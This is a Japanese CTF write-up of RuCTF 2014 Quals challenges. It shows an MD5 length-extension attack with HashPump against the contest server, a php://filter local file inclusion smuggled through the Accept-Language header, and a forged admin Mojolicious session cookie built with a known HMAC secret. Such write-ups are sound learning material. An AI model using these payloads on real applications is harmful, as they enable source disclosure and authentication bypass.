RuCTF 2014 Quals Write-up

RuCTF 2014 Qualsに、チームsuperflipとして1日だけ参加していた。310点182位(´・ω・`) RuCTF、問題数が50問もあって、どの問題も面白そうですごい。以下、解けなかったのもあるけど、挑戦した問題。

crypto 100. MD5

未知の文字列passwordにたいして、適当な文字列msgとmd5(password+msg)を求めよという問題。ただし、
md5(password+"do test connection") = "b34c39b9e83f0e965cf392831b3d71b"
が問題文で与えられている。
典型的なLength extension attackHashPumpという便利ツールがあるので使うと楽。

$ ./HashPump -s b34c39b9e83f0e965cf392831b3d71b8 -d "do test connection" -a "hackhack" -k 10
25eacdeeaf207db6229130daeb9804a3
do test connection\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00hackhack

$ for ((i=1; i<32; i++))
> do
> ./HashPump -s b34c39b9e83f0e965cf392831b3d71b8 -d "do test connection" -a "hackhack" -k $i | python -c 'import sys; sys.stdout.write(raw_input()+" "+raw_input().decode("string_escape"))' | nc python27.quals.ructf.org 12337
> done
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Message accepted! The answer is RUCTF_CryptoIsFunAndEasy
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
RUCTF_CryptoIsFunAndEasy

misc 100. Shredder

シュレッダーにかけられたスクリーンショットを復号しろという問題。ペイントで頑張った。

RUCTF_TO_SHRED_IS_NOT_ENOUGH

reverse 10. Harm

harm0597 discmagの中のragger.hscのmd5を答えよという問題。何が何だか分からないけど、ググって出てきたファイルで正解だった。

8fafa0b0ed4984edd8ffac5cd0f46089

reverse 300. Erl

Erlangのプログラムを解析する問題。

>erl
Eshell V5.9.2  (abort with ^G)
1> io:format("~p",[beam_disasm:file(r)]).

で、逆アセンブルできる。{x,n}がスレッドローカル変数、{y,n}が関数ローカル変数で、{f,n}は{label,n}を指すらしい。ここにBEAM(ErlangVM?)のInstruction setがあるけど、古いのか載っていないinstructionも多くて断念。

reverse 400. PIN code

16bitプログラムを逆アセンブルする問題。

ndisasm -b 16 main.45c1ec963414c50855bcb1172dd808d2

で逆アセンブルできる。

>ndisasm -b 16 -e 621 main.45c1ec963414c50855bcb1172dd808d2

なら先頭621バイトをスキップ。プログラムはセクションも何も無くて、そのままメモリの0x100に貼り付けられる。
解析してみると、最初にa=0x16として、ファイルの0x3dから順に値cを読んで、a=A[a*10+(c-2)]と更新していき、a=0x14になったらOK、というプログラムだった。普通にダイクストラするだけで良さそう。ただし、10文字読んだら次は1文字目に戻る。a=0x14に辿り着くためには、最後は3, 6, 4, 7になっていないといけないので、最初の数字を7や、4, 7に固定して探索した。

A = [ord(c) for c in open("main","rb").read()][0x179:0x36d]
start = 0x16
P = [x-2 for x in [4,7]]
for p in P:
    start = A[start*10+p]

T = ["x"*100]*50
T[start] = ""
Q = [start]

while len(Q)>0:
    p = Q.pop(0)
    for i in range(10)[::-1]:
        q = A[p*10+i]
        s = T[p]+"%x"%(i+2)
        if len(s)<len(T[q]):
            T[q] = s
            Q += [q]
print T[0x14]

4753928a3647で、0x14に到達できることが分かったけど、投稿しても不正解(´・ω・`)

追記:

qwerty 2014/03/11 03:01
In PIN code you got keyboard scancodes. You can translate it to keys using this: http://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BD-%D0%BA%D0%BE%D0%B4 It is available only in Russian but understandable. So, you should write 364281792536

コメントで教えてもらった。これはキーのスキャンコードなので、それをキーに直す必要があったらしい。たしかに、呼び出されてはいないけど、in al, 0x60とかのコードが問題のバイナリ中にあった……。

vuln 100. Guess the flag

与えられたプログラムがサーバーで動いているので攻略しろという問題。
試しに繋いでみて、何となく「F」と打ったら、一発で正解だった。ラッキー(・∀・)

>nc vuln1.quals.ructf.org 16712
So, what do you think the flag is?
> F
How pathetic. Here, have a hint:
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
RUCTF_f4205156a73b7bd143ab06e7722e3c81f72b8429
RUCTF_f4205156a73b7bd143ab06e7722e3c81f72b8429

web 100. php

指定されたサーバーにアクセスすると「Language was detect automatically :)」と書かれたファイルが表示される。Accept-Languageをruにするとロシア語になる。/enや/ruで、ファイルがダウンロードできる。ということで、Accept-Languageにファイル名を指定すると、任意のファイルが読み出せる。どのファイルに答えが書いてあるのか分からず、終了。

追記:

01:08 (stypr) http://logic.stypr.com/ctf/2014/RuCTF_solutions.zip (misc200, recon100-300, web100, web300, stego 300)

index.phpを読み込もうとすると無限ループしていたけど、php://filterを使えば良いのか。前に見た技だけど思い出せなかったのが悔しい。

>nc w1.quals.ructf.org 80
GET / HTTP/1.1
Host: w1.quals.ructf.org
Accept-Language: php://filter/read=convert.base64-encode/resource=index.php

HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Mon, 10 Mar 2014 18:09:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.4-14+deb7u7

429
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
PCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAg
cHJlIHsgd2lkdGg6IDY0MHB4OyB3aGl0ZS1zcGFjZTogbm9ybWFsOyB0ZXh0LWFsaWduOiBqdXN0aWZ5
O307CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGNlbnRlcj4KPGgyPkNURjwvaDI+Cjw/cGhwCiAg
aGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwogICRmbGFnID0g
JzVjZjI3ZDliYWQyZmU5ZDk2ZDJiY2YyNWMzYjBiZDE0JzsKICAkb2sgICA9IDA7CiAgZm9yZWFjaChl
eHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIGFzICRzKSB7CiAgICAk
bCA9IGV4cGxvZGUoJzsnLCAkcylbMF07CiAgICBpZiAoaW5jbHVkZSAkbCkgewogICAgICAkb2sgPSAx
OwogICAgICBicmVhazsKICAgIH0KICB9CiAgaWYgKCEkb2spIHsKICAgIGluY2x1ZGUgJ2VuJzsKICAg
IGVjaG8gJ0xhbmd1YWdlIHdhcyBub3QgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOignOwogIH0gZWxzZSB7
CiAgICBlY2hvICdMYW5ndWFnZSB3YXMgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOiknOwogIH0KPz4KPGNl
bnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cg==Language was detect automatically :)<center>
</body>
</html>

0

復号

<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<?php
  header('Content-Type: text/html; charset=utf-8');
  $flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14';
  $ok   = 0;
  foreach(explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $s) {
    $l = explode(';', $s)[0];
    if (include $l) {
      $ok = 1;
      break;
    }
  }
  if (!$ok) {
    include 'en';
    echo 'Language was not detect automatically :(';
  } else {
    echo 'Language was detect automatically :)';
  }
?>
<center>
</body>
</html>

web 200. es

2014/03/06追記
解法がこのブログに書いてある。
ユーザー登録してログインすると、

mojolicious=eyJuYW1lIjoia3VzYW5vIiwiZXhwaXJlcyI6MTM5NDkxMDI3NX0---899e014b21f9b225c63cf9e8b2901e3c0b1ebce5

という感じのCookieが設定される。復号すると、

{"name":"kusano","expires":1394910275}

Mojoliciousというフレームワークがあって、セッション情報をクッキーに保存するらしい。後半の署名はHMAC-SHA1

import hmac, hashlib

d = '{"name":"admin","expires":1394910275}'.encode("base64").replace("=","-").replace("\n","")
h = hmac.new("ructf", d, hashlib.sha1).hexdigest()
print d + "--" + h

でnameがadminのクッキー

eyJuYW1lIjoiYWRtaW4iLCJleHBpcmVzIjoxMzk0OTEwMjc1fQ----e586f70910c6e66df384c1d80f853e4a30881e34

を作り、設定するとadminになれる。

054ad7a734437d6853383ad919526dc5